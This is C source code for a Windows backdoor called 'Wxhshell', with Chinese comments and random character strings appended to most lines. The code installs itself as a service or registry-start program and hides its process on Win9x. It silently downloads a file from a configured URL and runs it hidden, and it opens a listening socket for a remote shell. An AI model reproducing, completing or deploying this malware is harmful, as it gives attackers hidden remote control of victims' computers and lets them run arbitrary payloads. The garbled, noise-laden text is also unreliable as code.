ULONG UniqueProcessId; \SB~rz"A
ULONG InheritedFromUniqueProcessId; 5_4Y/2_|
} PROCESS_BASIC_INFORMATION; \5g7_3,3W
Obl']Hr{y9
PROCNTQSIP NtQueryInformationProcess; Xy_ <Yqx}
WJH)>4M#
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UzLe#3MU
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z<j(ZVO
:mwNkT2et
HANDLE hProcess; XhF7%KR
PROCESS_BASIC_INFORMATION pbi; &[]0yNG
7"L`|O?8)
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l}|KkW\y
if(NULL == hInst ) return 0; >s\j/yM
Qg
dHIMY
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m%8idjnG
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,^dyS]!d$
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $6p_`LD0
@S3G> i
if (!NtQueryInformationProcess) return 0; D@[Mk"f
C^uH]WO
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f< A@D"m/
if(!hProcess) return 0; )"j)9RQ}
&w{""'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c*+yJNm3>
=ytB\e
CloseHandle(hProcess); Y6(I
%hE`
"^A4 !.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vRm.#+Td
if(hProcess==NULL) return 0; W}6(; tI
RfP>V/jy5
HMODULE hMod; ;g[C=yhK`C
char procName[255]; ; aA,H&
unsigned long cbNeeded; Wb! "L`m
mmC&xZ5f
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =*Z=My}3~
PCl@Ff
CloseHandle(hProcess); &V;^xMO!
klC;fm2C
if(strstr(procName,"services")) return 1; // 以服务启动 #NZ\UmA
cU\Er{
k
return 0; // 注册表启动 Y9rW_m@B
} L(tA~Z"k
cr!6qv1
// 主模块 @WIcH:_w-
int StartWxhshell(LPSTR lpCmdLine) ^4@~\#$z
{ W@NM~+)e
SOCKET wsl; O[O`4de9
BOOL val=TRUE; fFD:E} >5
int port=0; G{*m] 0Q
struct sockaddr_in door; MS{purD
j{,3!
if(wscfg.ws_autoins) Install(); C2GF
N1i
~.qzQ_O/
port=atoi(lpCmdLine); H"PnX-fGN
a\an
if(port<=0) port=wscfg.ws_port; ..yuEA
rK%<2i
WSADATA data; ajIgL<x
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5Z{h!}Y
%AbA(F
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /E'c y
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h?wNmLre
door.sin_family = AF_INET; ]=v_u9;
door.sin_addr.s_addr = inet_addr("127.0.0.1"); m x@F^
door.sin_port = htons(port); y=y=W5#;77
FoM4QO
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \tFg10
closesocket(wsl); [9f
TN2'z
return 1; k8^!5n
} nOxCni~T
a' "4:(L
if(listen(wsl,2) == INVALID_SOCKET) { )/FB73!
closesocket(wsl); +(/?$dRH
return 1; Vx_lI
#3
} U~z`u&/
Wxhshell(wsl); '0g1v7Gx
WSACleanup(); iq$edq[
|ubDudzp
return 0; `{fqnNJE
u9>zC QRO
} *<*{gO?Q4
n*-t
=DF
// 以NT服务方式启动 T^h;T{H2
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bX#IE[Yp}
{ O/\ L0\T
DWORD status = 0; TQm x$
DWORD specificError = 0xfffffff; y3T-^
BcaMeb-Z
serviceStatus.dwServiceType = SERVICE_WIN32; kR%bdN
serviceStatus.dwCurrentState = SERVICE_START_PENDING; m7X&"0X
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j:D@X=|
serviceStatus.dwWin32ExitCode = 0; QC.WR'.
serviceStatus.dwServiceSpecificExitCode = 0; p2}$S@GD
serviceStatus.dwCheckPoint = 0; <,qJ%kc
serviceStatus.dwWaitHint = 0; dzDh V{
I}/o`oc
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }K,:aN,44\
if (hServiceStatusHandle==0) return; NVx`'Il8
"
8cn)ox|J[
status = GetLastError(); .+3= H@8h
if (status!=NO_ERROR) |+Z,
7~!
{ l c)*HYqU
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^.Cfa
serviceStatus.dwCheckPoint = 0; 03?TT,y$
serviceStatus.dwWaitHint = 0; jR7 , b5
serviceStatus.dwWin32ExitCode = status; <N"t[N70;
serviceStatus.dwServiceSpecificExitCode = specificError; p
D!IB`cA4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); IdTeue
return; 4kGA`XhS*
} n k]tq3.[
v0!>":
serviceStatus.dwCurrentState = SERVICE_RUNNING; >B$ZKE
serviceStatus.dwCheckPoint = 0; A+%oE
serviceStatus.dwWaitHint = 0; F\!;}z
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =W)Fa6P3j(
} b u%p,u!
"-xm+7
// 处理NT服务事件,比如:启动、停止 r{qM!(T
VOID WINAPI NTServiceHandler(DWORD fdwControl) SeAokz>
{ uEQH6~\{Nl
switch(fdwControl) Tz .!
{ $Tu%dE(OF
case SERVICE_CONTROL_STOP: wVk2Fr(
serviceStatus.dwWin32ExitCode = 0; ]kLs2? \
serviceStatus.dwCurrentState = SERVICE_STOPPED; :$d3}TjsA+
serviceStatus.dwCheckPoint = 0; R`ajll1
serviceStatus.dwWaitHint = 0; =O~1L m;
{ 2%0zPflT
SetServiceStatus(hServiceStatusHandle, &serviceStatus); v :]y#y
} /6}4<~~4TA
return; ?RGL0`Lg
case SERVICE_CONTROL_PAUSE: GutH}Kz"&
serviceStatus.dwCurrentState = SERVICE_PAUSED; yA*~O$~Y
break; 2|F.J G^
case SERVICE_CONTROL_CONTINUE: dT8m$}h9
serviceStatus.dwCurrentState = SERVICE_RUNNING; xdp!'1n."g
break; XOzPi*V**
case SERVICE_CONTROL_INTERROGATE: P8!Vcy938
break; CYrVP%xRA
}; r AMnM>`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jPYed@[+
} zR
h1
fV*x2g7w
// 标准应用程序主函数 Ous[{" -J
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F.c`0u;=
{ bTZ/$7pp9
M$#zvcp
// 获取操作系统版本 i+T#z
OsIsNt=GetOsVer(); )hj77~{+
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2D`@$)KL
#*q`/O5n
// 从命令行安装 P,!si#
if(strpbrk(lpCmdLine,"iI")) Install(); 6XUcJ0
$s.:wc^
// 下载执行文件 _Hi;Y
if(wscfg.ws_downexe) { o%h"gbvMY!
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J]i=SX+ 9
WinExec(wscfg.ws_filenam,SW_HIDE); cv;&ff2%?
} 4]nU%`Z1w
<.(IJ
if(!OsIsNt) { Yo;/7gG>
// 如果时win9x,隐藏进程并且设置为注册表启动 }MY7<sMDOy
HideProc(); 'p-jMD}O
StartWxhshell(lpCmdLine); dgpo4'c}
} s `xp6\$
else E-_)w
if(StartFromService()) '{XDhK
// 以服务方式启动 :k8>)x]
)
StartServiceCtrlDispatcher(DispatchTable); Rct|"k_"Ys
else r~F T,
// 普通方式启动 Qi2yaEB
StartWxhshell(lpCmdLine); 1"A1bK
3sc5meSu'
return 0; G40,KCa
}